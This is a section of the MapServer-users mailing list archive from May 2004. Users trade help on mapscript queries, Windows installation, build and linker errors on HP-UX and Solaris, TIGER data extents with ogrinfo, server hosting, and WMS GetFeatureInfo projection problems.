Alpert wrote: > Any chance you can be more specific? I've been to the docs several > times looking for how to do this and I'm not finding what I'm looking > for. > > I need to access information about items that were selected with a > query. > > -e > > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Tuesday, May 18, 2004 5:39 PM > To: Ethan Alpert > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How can I get the query info > programatically? > > > Yes, and there are examples. See > > http://mapserver.gis.umn.edu/doc.html > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl > > -Steve > > Ethan Alpert wrote: > > >>I'd like to get the information of the items selected in a query. The >>template approach isn't quite what I'm looking for. Is there a way to >>extract this info with perl (or php) mapscript? >> >>-e >> >>_______________________________________________ >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > From woodbri at swoodbridge.com Wed May 19 08:55:55 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 19 May 2004 11:55:55 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C0E@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0E@COMAIL01.digitalglobe.com> Message-ID: <40AB838B.5040801@swoodbridge.com> Ethan, Ah, that is much clearer. Ok, you have assessed your current situation correctly. If you are using the templates, you are limited to what you can do on the client. If you want to do more server side processing of the query then you have to have a server side process that runs it. So then the question becomes how to envoke the process. Some ideas, 1) generate a template that does a java script open of a new page and the url for the new page passes the initial information about the query to a Perl or PHP script that then does the rest of the work and return the final page you want. You can pass the initial parameters as URL parameters 2) change you action on the map to call a Perl or PHP script and pass the map.x, map.y and other parameters to it then have it do the query in mapscript and do whatever else you want and return a page. To change the action and target to a new window you will have to do a little javascript. I like 2) because I think it is cleaner. There is no easy way to "hook" into the mapserver process that is processing your HEADER/FOOTER/TEMPLATE stuff short of hack into the mapserver code which is not required if you use mapscript. Hope this is more helpfull, -Steve Ethan Alpert wrote: > > Ok I see how this is done it a perl script but this doesn't match how > I'm currently using mapserv. Perhaps I wasn't clear in my original > question. > > I have a LAYER defined using TEMPLATE, HEADER, FOOTER. Theses are used > to display spatial query results which are driven by dbox selections. > > The problem for me is I'd like to do more inteligent things with the > results of the query but appear to be limited to HTML and client side > JAVASCRIPT because the content type of the output from > TEMPLATE,HEADER,FOOTER is html. I'd like to use php or perl in the page > to grab more information from my DB's to display based on the query > results. > > Does this make sense? Is there an alternative to using TEMPLATE,HEADER, > FOOTER in my mapfiles? Is it possible for TEMPLATE,HEADER,FOOTER to be > php files? I may be mistaken but I've been unable to find answers. > > Also how does one search the archives by keyword? The mailman interface > displays only by date which doesn't make searching very practical. > > -e > > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Tuesday, May 18, 2004 6:32 PM > To: Ethan Alpert; MapServer List > Subject: Re: [Mapserver-users] How can I get the query info > programatically? > > > Ethan, > > THere are ac bunch of Query examples at > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 > for mapserver 3.5 but on the bottom is an example mapserver 4.2. Look at > > the quake.pl I think that does some query stuff. > > I also check the archives, because this has been asked before. I thought > > there was a straight forward query example, but I can't seem to locate > the one I was thinking of. Once you get your example worked out you > might want to post it to the wiki for others. > > -Steve > > Ethan Alpert wrote: > > >>Any chance you can be more specific? I've been to the docs several >>times looking for how to do this and I'm not finding what I'm looking >>for. >> >>I need to access information about items that were selected with a >>query. >> >>-e >> >>-----Original Message----- >>From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] >>Sent: Tuesday, May 18, 2004 5:39 PM >>To: Ethan Alpert >>Cc: mapserver-users at lists.gis.umn.edu >>Subject: Re: [Mapserver-users] How can I get the query info >>programatically? >> >> >>Yes, and there are examples. See >> >>http://mapserver.gis.umn.edu/doc.html >>http://mapserver.gis.umn.edu/cgi-bin/wiki.pl >> >>-Steve >> >>Ethan Alpert wrote: >> >> >> >>>I'd like to get the information of the items selected in a query. The >>>template approach isn't quite what I'm looking for. Is there a way to >>>extract this info with perl (or php) mapscript? >>> >>>-e >>> >>>_______________________________________________ >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> >> > > From TMitchell at lignum.com Wed May 19 11:28:10 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 19 May 2004 11:28:10 -0700 Subject: [Mapserver-users] Re: Need tutorial on basic setup Message-ID: Can anyone recommend a good tutorial for getting Isaac moving forward? He's got the windows binaries unzipped, but needs a good demo and tutorial to go with. Tyler ----- Forwarded by Tyler Mitchell/Lignum on 05/19/2004 11:27 AM ----- "ISAAC KWADWO NTI" 05/19/2004 12:57 AM To TMitchell at lignum.com cc Fax to Subject Re: [Mapserver-users] NEED HELP ON INSTALLATION Hello, My problem is I dont even know how it will work.I am asked by my professor to find out how it works it is part of my project and he also does not know how it works.He is more into ArcIMS and want me to experiment with Mapserver.Please I have no idea about this software until my professor told me about that. So if you can give me some steps after all the I have told you,how can I even start it.Where do I go from here,how can I use it,how does it work these are my questions So if you can help me from here I would love that. Isaac >From: Tyler Mitchell >To: "ISAAC KWADWO NTI" >Subject: Re: [Mapserver-users] NEED HELP ON INSTALLATION >Date: Tue, 18 May 2004 13:14:58 -0700 > >Get details. What did you do afterward? How do you know it didn't work? > >"ISAAC KWADWO NTI" wrote on 05/18/2004 12:08:47 >PM: > > > After downloading > > I unzipped the files unto my hard drive. > > copied the mapserver.exe file into my cgi-bin of the apache. > > copied the proj files on the same hard drive > > copied the lib folder into the folder of the mapserver so that i had > > the directors C:/mapserver/lib > > then copied the tutorials into my htdocs folder > > and also the tmp folder also into the htdocs > > that is what i have done so far. > > Hope to hear from you thank you very much for you assistance. > > Isaac > > > > > > > > > > > > > > > >From: Tyler Mitchell >To: "ISAAC KWADWO NTI" > > >Subject: Re: [Mapserver-users] NEED HELP > > ON INSTALLATION >Date: Tue, 18 May 2004 08:20:38 -0700 > >What did > > you do after you downloaded this package? > >"ISAAC KWADWO NTI" > > wrote on 05/17/2004 06:04:00 >PM: > > > I > > am using windows 2000.I downloaded this file with the name > > > > ms402_gif_oracle and ms402_gif_pg.I downloaded from http: > > > > //mapserver.gis.umn.edu/win32binaries.html > > > > > > > > > > > > > > > > > >From: Tyler Mitchell >To: "ISAAC KWADWO > > NTI" > > >CC: mapserver-users at lists.gis. > > umn.edu > > >Subject: Re: [Mapserver-users] NEED HELP ON > > INSTALLATION >Date: > > Mon, 17 May 2004 13:56:28 -0700 > >Isaac, > > what operating system are > > you using? What files did you download > > >for mapserver - where from? > > > >mapserver-users-admin at lists.gis. > > umn.edu wrote on 05/17/2004 04: > > 05:41 AM: > > > Hello, > > > > Please I am a student in Germany,I am > > doing my dissertation in > > > > Internet GIS and therfore chose to use > > the mapserver software > > for it. > > I have tried installing it but > > not working.Could any > > one help with a > > step by step installation > > of the software. > > > > I am using apache 2.0.42.I used the information > > about > > installation > > online but still not working. > > Hoping to > > > > hear from you. > > Isaac > > > > > > > > > STOP MORE SPAM with the > > > > new MSN 8 and get 2 months FREE* > > > > > > _______________________________________________ Mapserver-users > > > > > > mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn > > . > > > > edu/mailman/listinfo/mapserver-users > > > > Tired of > > spam? Get advanced junk mail protection with MSN 8. > > > > The new MSN 8: smart spam protection and 2 months FREE* Help STOP spam with the new MSN 8 and get 2 months FREE* From TMitchell at lignum.com Wed May 19 11:32:08 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 19 May 2004 11:32:08 -0700 Subject: [Mapserver-users] Hunting for global data In-Reply-To: <40AB2A46.1090000@uva.nl> Message-ID: Thank Jan, my first goal is to get a good set of global datasets up and running, then have others grab them. Your link had a typo, for the mailing list record, your link should have been: http://mapserver.sara.nl > Look at http://maspserver.sara.nl , under World Maps. It has eight > detailed world maps (elevation, satellite, land use) at 30 seconds > resolution (1 km at the equator, 21600*10800 cells). They are from NASA, > NOAA and others and are all in the public domain. I resampled and > retiled them to GeoTIFF, as described in yesterday's posting > (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00397.html). > If you want to set up a demo site with explanations how to do this in > MapServer, I'll be happy to assist. From warmerdam at pobox.com Wed May 19 10:10:17 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 19 May 2004 13:10:17 -0400 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: References: <40AB3D4A.8000209@intevation.de> <40AB49C3.70008@webgis.de> <40AB547D.6070903@intevation.de> <10047FBE-A99C-11D8-9E4A-000D9329D732@frii.com> <40AB6D76.6080208@intevation.de> Message-ID: <40AB94F9.3020101@pobox.com> Sean Gillies wrote: > Jan, > > Did you run the tests after the build step? Did you see an ImportError > at that time? > > I suspect that the libgdal.so is not in your library path. Did you install > it after making? Sean / Jan, Or even more likely, you have two version of the GDAL shared library around and the wrong one is being picked up. CPLFreeConfig() is relatively recent in GDAL. It was introduced very late in 2003. The mapgdal.c module only compiles in the call to CPLFreeConfig() if the GDAL version seems sufficiently recent but if you build against recent include files but link or run against an older shared library then that entry point will not be available. Good luck, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From qoelhex at cttmar.univali.br Wed May 19 14:16:07 2004 From: qoelhex at cttmar.univali.br (FABIO COELHO) Date: Wed, 19 May 2004 18:16:07 -0300 Subject: [Mapserver-users] Shp2Img gmake Error Message-ID: <1085001367.40abce97241ac@webmail.cttmar.univali.br> Hi dear Friends I'm trying to compile mapserver on HP UX 11.00, and after I had compiled all dependencies for my desired features, I got this error, at middle of compilation: gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_THREAD -I/opt/univali/include -I/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib -I/opt/univali/include -I/opt/univali/include shp2img.o -L. -lmap -L/opt/univali/lib -lgd -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz -L/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib/lib -lpdf -L/opt/univali/lib -ltiff -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz -L/opt/univali/lib -lproj /usr -lm -o shp2img /usr/ccs/bin/ld: /usr: Not a valid object file (invalid system id) collect2: ld returned 1 exit status gmake: *** [shp2img] Error 1 In bugzilla, have a recomendation to use g++ in the place of ld, to link the librarys, but the error still continue... What I can do? I'm using, gmake, and I don?t have root privileges. []'s by qoelheX ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From Gengx at AGR.GC.CA Wed May 19 10:54:21 2004 From: Gengx at AGR.GC.CA (Geng, Xiaoyuan) Date: Wed, 19 May 2004 13:54:21 -0400 Subject: [Mapserver-users] Does GDAL/OGR default compilation include Oracle Non-sSpatial Table support? Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C43DCA.50AAC463 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi =20 I need to use OGR connection to access non-spatial Oracle table using SQL statement. I would like to know that if the GDAL/OGR default compilation includes the Oracle table access already. If not, what is the example to compile GDAL/OGR to include the Oracle(do not have to be Oracle Spatial) support? When do you think that Mapserver can let us connect to a SDE layer and another separate Oracle table for Attribute mapping? =20 Thank you very much! =20 Xiaoyuan Geng ------_=_NextPart_001_01C43DCA.50AAC463 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi

 

I need to use OGR connection to access non-spatial = Oracle table using SQL statement. I would like to know that if the GDAL/OGR = default compilation includes the Oracle table access already. If not, what is = the example to compile GDAL/OGR to include the Oracle(do not have to be = Oracle Spatial) support? When do you think that Mapserver can let us connect to = a SDE layer and another separate Oracle table for Attribute = mapping?

 

Thank you very much!

 

Xiaoyuan Geng

------_=_NextPart_001_01C43DCA.50AAC463-- From pbaker at where2getit.com Wed May 19 15:05:09 2004 From: pbaker at where2getit.com (Paul Baker) Date: Wed, 19 May 2004 17:05:09 -0500 Subject: [Mapserver-users] Mapserver 4.0.1 Debian Package for Debian Woody In-Reply-To: References: Message-ID: <97BED09E-A9E0-11D8-B7C3-000A95D9DE04@where2getit.com> On May 19, 2004, at 9:01 AM, Rolando Riley wrote: > Hi, > > I found a post of Paul Baker that has a very straigth forward > install of > Mapserver under Debian on this link. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/ > msg00078.html > > Anybody knows if there is a Debian package that "includes" support > for > PHP MAPSCRIPT? This support is missing on this binaries. I will likely be including PHP/Mapscript support in my 4.0.2 package whenever I can find the time to get it built. Don't hold your breath. :-( In the meantime the wiki has information on compiling it on Debian, although I have not personally followed these instructions so YMMV. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebianLinux -- Paul Baker "Yes, we did produce a near-perfect republic. But will they keep it? Or will they, in the enjoyment of plenty, lose the memory of freedom?? -- Thomas Jefferson in a letter to John Adams GPG Key: http://homepage.mac.com/pauljbaker/public.asc From qoelhex at cttmar.univali.br Wed May 19 15:40:11 2004 From: qoelhex at cttmar.univali.br (qoelheX) Date: Wed, 19 May 2004 19:40:11 -0300 Subject: [Mapserver-users] Shp2Img gmake Error - Adding info - New Error In-Reply-To: <1085001367.40abce97241ac@webmail.cttmar.univali.br> References: <1085001367.40abce97241ac@webmail.cttmar.univali.br> Message-ID: <40ABE24B.9020907@cttmar.univali.br> FABIO COELHO escreveu: >Hi dear Friends > >I'm trying to compile mapserver on HP UX 11.00, and after I had compiled all >dependencies for my desired features, I got this error, at middle of compilation: > >gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H >-DUSE_WMS_SVR -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP >-DUSE_GD_FT -DUSE_PDF -DUSE_THREAD -I/opt/univali/include >-I/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib >-I/opt/univali/include -I/opt/univali/include shp2img.o -L. -lmap >-L/opt/univali/lib -lgd -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib >-lfreetype -lpng -L/opt/univali/lib -lz >-L/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib/lib -lpdf >-L/opt/univali/lib -ltiff -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib >-lfreetype -lpng -L/opt/univali/lib -lz -L/opt/univali/lib -lproj /usr -lm >-o shp2img > > I noted at this point that there are a "/usr" abandoned on the line! So, I copy the line and try to compile without "/usr". Sure, I had to compile bash, 'cause the HP UX shell have a 255 caracters limit in the command line! Well, did not compile, and I get a new error: bash-2.05$ g++ -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_THREAD -I/opt/univali/include -I/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib -I/opt/univali/include -I/opt/univali/include shp2img.o -L. -lmap -L/opt/univali/lib -lgd -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz -L/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib/lib -lpdf -L/opt/univali/lib -ltiff -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz -L/opt/univali/lib -lproj -L/usr -lm -o shp2img /usr/ccs/bin/ld: Unsatisfied symbols: msReleaseLock (first referenced in ./libmap.a(mapfile.o)) (code) msGetThreadId (first referenced in ./libmap.a(maperror.o)) (code) msAcquireLock (first referenced in ./libmap.a(mapfile.o)) (code) collect2: ld returned 1 exit status And I try to add a -L in front of "/usr", but the same error occur. So, I'll go to search this new error, if someone knows about, please, tell me :) []'s by qoelheX PS: About my first email >What I can do? > > > I can, I must improve my english ! !! huahuahuahuahua :D From murilo.yoshida at agx.com.br Wed May 19 18:02:00 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Wed, 19 May 2004 22:02:00 -0300 Subject: [Mapserver-users] Map interpolation Message-ID: <000201c43e06$1c9b9260$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C43DEC.F74E5A60 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, I wanted to know if mapserver does map interpolation. If not, do you know a open source tool that does it? Thanks, Murilo ------=_NextPart_000_0003_01C43DEC.F74E5A60 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

  Hi = all,

 

  I wanted to know if mapserver does map interpolation… If not, do you know a open source tool that does it?

  = Thanks,

     = Murilo

------=_NextPart_000_0003_01C43DEC.F74E5A60-- From ikeivy2000 at hotmail.com Wed May 19 20:33:40 2004 From: ikeivy2000 at hotmail.com (ISAAC KWADWO NTI) Date: Thu, 20 May 2004 05:33:40 +0200 Subject: [Mapserver-users] Error Message-OCI.dll Message-ID:

HelloFellows,

When I click on the mapserver.exe file i get a message that there is no OCI.dll file.Please could some one help me with the solution to this problem?

Thank you very much

Isaac



MSN 8 helps ELIMINATE E-MAIL VIRUSES. Get 2 months FREE*. From marvin at rectangular.com Wed May 19 20:59:21 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Wed, 19 May 2004 20:59:21 -0700 Subject: [Mapserver-users] Deriving TIGER extents Message-ID: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> Greetings, My ultimate goal is to generate a few thousand maps via offline batch processing, using TIGER data. I don't need to set up a production server, so performance isn't an issue at this time and I'm not worried yet about converting to shapefile format for improved speed. Unfortunately, I can't even get one TIGER file to display. I managed to grok GRASS, so I *ought* to be able to figure this out. But I'm stuck. It seems that I have some sort of extents problem. Maybe I just have my numbers wrong, but if so, I'm not sure how to correct them or to ensure that I get them correct in the future. To start with, I downloaded a random county in Michigan and hacked up a bare-minimum .map file (see below). Then I set up a LAYER according to the instructions at: http://mapserver.gis.umn.edu/doc36/ogr-howto.html According to http://mapserver.gis.umn.edu/doc40/mapfile-reference.html Mapserver will attempt to derive the extents of a map if none are specified in the .map file. However, when I tried to omit the extents from the .map file, the browser displayed this error message: msCalculateScale(): General error message. Invalid image extent. msCalculateScale(): General error message. Invalid image extent. mapserv(): Web application error. No way to generate map extent. Can it be that TIGER files have no extents data in them? Skimming the technical spec of the TIGER format didn't reveal anything obvious (http://www.census.gov/geo/www/tiger/tiger2002/tgr2002.pdf). So how do people actually use them? Does the tiger2shape utility figure out what the most extreme elements are in the file and define the extents that way? Is there some sort of auxiliary data repository at www.census.gov that I have yet to uncover? Trial and error? What would be great is if I could find a utility like ogrinfo that can print the extents to STDOUT. Then I could grep the output to snag only what I need and autogenerate a bunch of map files using Perl. It seems like ogrinfo ought to do what I need. The ogrinfo manpage has an example from an NTF file illustrating typical output % ogrinfo -ro -where 'GLOBAL_LINK_ID=185878' wrk/SHETLAND_ISLANDS.NTF BL2000_LINK INFO: Open of `wrk/SHETLAND_ISLANDS.NTF' using driver `UK .NTF' successful. Layer name: BL2000_LINK Geometry: Line String Feature Count: 1 Extent: (419794.100000, 1069031.000000) - (419927.900000, 1069153.500000) ... Additionally, the manpage indicates that with the -q flag enabled, the output will include extents: -q: Quiet verbose reporting of various information, including coordinate system, layer schema, extents, and feature count. Unfortunately, when I run ogrinfo specifying any one layer of the TIGER datasource and -q, I get a torrent of output, which seems to include coordinates for each individual element in the datasource... but no summary data. When I run with the -summary option, all I get is a couple line breaks then the layer name: # ogrinfo -ro -q -summary TGR26049 CompleteChain Layer name: CompleteChain (FWIW, I am specifying the directory holding all the related files and not an individual TIGER file, so I'm not being bitten by that bug.) And when I run ogrinfo with just the -ro flag -- (read-only, otherwise I get an error saying ERROR 4: Tiger Driver doesn't support update. Had to open data source read-only.) -- all I get is a list of layers. No extents. # ogrinfo -ro TGR26049 INFO: Open of `TGR26049' using driver `TIGER' successful. 1: CompleteChain (Line String) 2: AltName (None) 3: FeatureIds (None) 4: ZipCodes (None) 5: Landmarks (Point) 6: AreaLandmarks (None) 7: Polygon (None) 8: PolygonCorrections (None) 9: EntityNames (Point) 10: PolygonEconomic (None) 11: IDHistory (None) 12: PolyChainLink (None) 13: PIP (Point) 14: TLIDRange (None) 15: ZeroCellID (None) 16: OverUnder (None) 17: ZipPlus4 (None) Stymied! Very well, I thought, before I write to the list I'll try to get one county to display -- then I'll inquire about tools which I can use to derive extents automatically. I'll hack away at the file until I get something to display... Nope, nothing doing! I read in a few archived emails that the extent must be specified in the same units as the datasource. In the case of TIGER, that's apparently decimal degrees (according to http://www.census.gov/geo/www/tiger/tigermap.html#TOWN ). Since I'm not sure which county in Michigan I downloaded, I entered LatLong for the entire state. Even if the county was small, the CompleteChain layer ought to be visible. But the map was solid white. Eventually I know I will need to get into joining multiple counties in a con mapfile, but for now, I'd just like to get a single file to display. Any suggestions? -- Marvin Humphrey MAP IMAGETYPE PNG24 SIZE 400 300 SHAPEPATH "data" FONTSET "fonts/fonts.list" SYMBOLSET "symbols/symbols35.sym" UNITS DD # Start of LAYER DEFINITIONS --------------------------------------------- EXTENT -91 41 -81 48 #Longitude: 82? 26' W to 90? 31' W #Latitude: 41? 41' N to 47? 30' N LAYER NAME "tigertest" TYPE line CONNECTIONTYPE OGR CONNECTION "../TGR26049" DATA "CompleteChain" STATUS ON END END # end of map file From nicolas at maich.gr Wed May 19 21:57:19 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Thu, 20 May 2004 07:57:19 +0300 Subject: [Mapserver-users] compilation In-Reply-To: <40AB6617.8040905@edf.fr> References: <40AB6617.8040905@edf.fr> Message-ID: <40AC3AAF.9070001@maich.gr> Laurent PIERRE wrote: > Hi, > > I am trying to compile Mapserver on Solaris and I have the message : > > undefined reference to '__gxx_prsonality_v0' > > when creating shp2img. > > I added '-lstdc++' in the makefile with no success ... > > Is this problem talking to somebody ? > > Thanks > > Laurent PIERRE > EDF > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > . > Hi, This might help? http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=246 http://london.pm.org/pipermail/london.pm/Week-of-Mon-20030421/018610.html Are you using gcc (verson3.x) or Sun's cc? regards, nicolas From nicolas at maich.gr Wed May 19 22:09:55 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Thu, 20 May 2004 08:09:55 +0300 Subject: [Mapserver-users] Error Message-OCI.dll In-Reply-To: References: Message-ID: <40AC3DA3.9070508@maich.gr> ISAAC KWADWO NTI wrote: > HelloFellows, > > When I click on the mapserver.exe file i get a message that there is > no OCI.dll file.Please could some one help me with the solution to > this problem? > > Thank you very much > > Isaac > > > ------------------------------------------------------------------------ > MSN 8 helps ELIMINATE E-MAIL VIRUSES. > Get 2 months > FREE*._______________________________________________ Mapserver-users > mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users . Hi, Oracle Call Interface, the c level api for accessing Oracle db's. Do you have oracle installed? Is it in your path? Sounds like you have an ms with Oracle spatial support.... ----snip from the ms site--- We also have binaries compiled with Oracle Spatial support. Oracle Spatial support replaces the PostGIS support so you won't be able to use it to connect to PostGIS databases. You can only use these binaries if you have Oracle client DLLs--we can't redistribute those libraries. Anyway, select from the two options below: * ms402_gif_oracle.zip : Same as ms402_gif_pg.zip except Oracle Spatial support replaces PostGIS. * ms402_png_oracle.zip : Same as ms402_png_pg.zip except Oracle Spatial support replaces PostGIS. ----snip---- If you dont have oracle, get another ms binary. regards, nicolas From mark at markrodrigo.com Wed May 19 22:46:41 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Wed, 19 May 2004 22:46:41 -0700 Subject: [Mapserver-users] Mapserver Hosting Wanted Message-ID: Aaron: I hate to be a cynic on this one because I love Mapserver, but I am skeptical about Mapserver hosting. I finally bit the bullet and bought my own server just for testing, but probably will still eventually deploy to a dedicated server. I'm not naming names, but my experience with more than one supposed Mapserver hosting op...left me, well...cynical...and out a good deal of cash. Good Luck. Mark From mark at markrodrigo.com Wed May 19 22:55:22 2004 From: mark at markrodrigo.com (Mark Rodrigo) Date: Wed, 19 May 2004 22:55:22 -0700 Subject: [Mapserver-users] Suse 9.1 Linux a good Choice for Mapserver? Message-ID: Hello: Thanks for all the responses. It helped. I looked into Debian because it was so popular, and I like it, but one of my important goals is to be able to port to a dedicated server, and there just does not to seem to be too many people doing it. That being said, you Debian folks might think I am crazy for going with SuSE 9.1, but I am banking on the fact that it is going to be popular, and there will be dedicated hosting operations. I also need support, for now. I don't have enough time to do anything that's not necessary. I tried the Live Demo from SuSE which boots off a CD, and everything on my new server was recognized no problem. I liked the package manager, and at least for now the on-line support. I am going to give it a go. Hopefully, in a month here I will have some SuSE and Mapserver installation docs, along with a demo of some of my work. Thanks a lot! Mark From jacob.delfos at maunsell.com Wed May 19 23:07:42 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Thu, 20 May 2004 16:07:42 +1000 Subject: [Mapserver-users] Mapserver Hosting Wanted Message-ID: It's not really rocket science to set up your own server, is it? We got a dedicated server here, on a fixed IP address. We just put windows 2000 professional (not even server) on it with Apache, and that suffices for running Chameleon and Mapserver. I think anything above 1GHz gets you decent performance if you don't have too much data in it. Depending on what it costs for you to get a fixed IP address, it could even become profitable if you get your client to pay a little for the hosting that you offer (like we do; we recoupe our internet connection costs this way). Jacob -----Original Message----- From: Mark Rodrigo [mailto:mark at markrodrigo.com] Sent: Thursday, 20 May 2004 1:47 PM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Mapserver Hosting Wanted Aaron: I hate to be a cynic on this one because I love Mapserver, but I am skeptical about Mapserver hosting. I finally bit the bullet and bought my own server just for testing, but probably will still eventually deploy to a dedicated server. I'm not naming names, but my experience with more than one supposed Mapserver hosting op...left me, well...cynical...and out a good deal of cash. Good Luck. Mark _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mcortez at gmail.com Wed May 19 23:48:03 2004 From: mcortez at gmail.com (Michael Cortez) Date: Wed, 19 May 2004 23:48:03 -0700 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> References: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> Message-ID: > Unfortunately, when I run ogrinfo specifying any one layer of the TIGER > datasource and -q, I get a torrent of output, which seems to include > coordinates for each individual element in the datasource... but no > summary data. For me, when using ogrinfo to look at TIGER data, all the lines with geometry data returns a summary, followed by all the individual data entries. Is it possible your simply "missing" it as it all scroll by? I usually pipe the output to 'more' so that it pauses after the first screen, so I can pull the info I need (such as extents.) -- Mike C. From M.Fiorito at datasiel.net Thu May 20 02:23:02 2004 From: M.Fiorito at datasiel.net (Fiorito Marino) Date: Thu, 20 May 2004 11:23:02 +0200 Subject: [Mapserver-users] GetFeatureInfo no return data with EPSG:4326 Message-ID: <295170E8A199D211A82400A02457845205D04A84@dmail1.datasiel.net> > We have make an OGC WMS Server with Map Server 4.02. > Our information are in shapefile in Gauss-Boaga projection (EPSG=26591). > In the Map file to level MAP we are: > > ... > METADATA > ... > WMS_SRS "EPSG:26591 EPSG:4326" > END > ... > PROJECTION > "init=epsg:26591" > END > ... > > and at the level of the LAYER (ptcp_ass_ins) > ... > DUMP true > ... > PROJECTION > "init=epsg:26591" > END > ... > METADATA > ... > WMS_SRS "EPSG:26591 EPSG:4326" > END > > > Therefore we have verified from a OGC WMS VIEWER with map context > SRS: EPSG:4326 and > Bounding Box: minx=-180, miny=-90, maxx=180, maxy=90 > the operation of request type WMS. > > GetCapabilities and GetMap work correctly instead the GetFeatureInfo do > not return data. > > The request is: > http://my.wms?REQUEST=getFeatureInfo&VERSION=1.1.0&BBOX=9.14583344650206,4 > 4.3110392619385,9.27244334040638,44.3743442088906&SRS=EPSG:4326&HEIGHT=360 > &WIDTH=720&QUERY_LAYERS=ptcp_ass_ins&X=439&Y=126&FEATURE_COUNT=10 > > The result is: > no data does not return: > GetFeatureInfo results: Search returned not results. > > The same GetFeatureInfo demand made from a OGC WMS VIEWER with map context > > SRS: EPSG:26591 > works correctly and return data. > > The PROJ epsg file contain: > # WGS 84 > < 4326 > +proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs no_defs < > > > Which can be the problem? > Thanks for suggestions > > > > > Marino Fiorito > DATASIEL S.p.A. (Regione Liguria - Gruppo TelecomItalia Finsiel) > Via Merano 22 16154 Genova > m.fiorito at datasiel.net > tel. 010 5484063 > fax 010 587910 > cell. 3336869811 > > From mapserver at geochem.de Thu May 20 03:16:49 2004 From: mapserver at geochem.de (Nicol Hermann) Date: Thu, 20 May 2004 12:16:49 +0200 Subject: [Mapserver-users] mapserver compiling error with static linked proj4 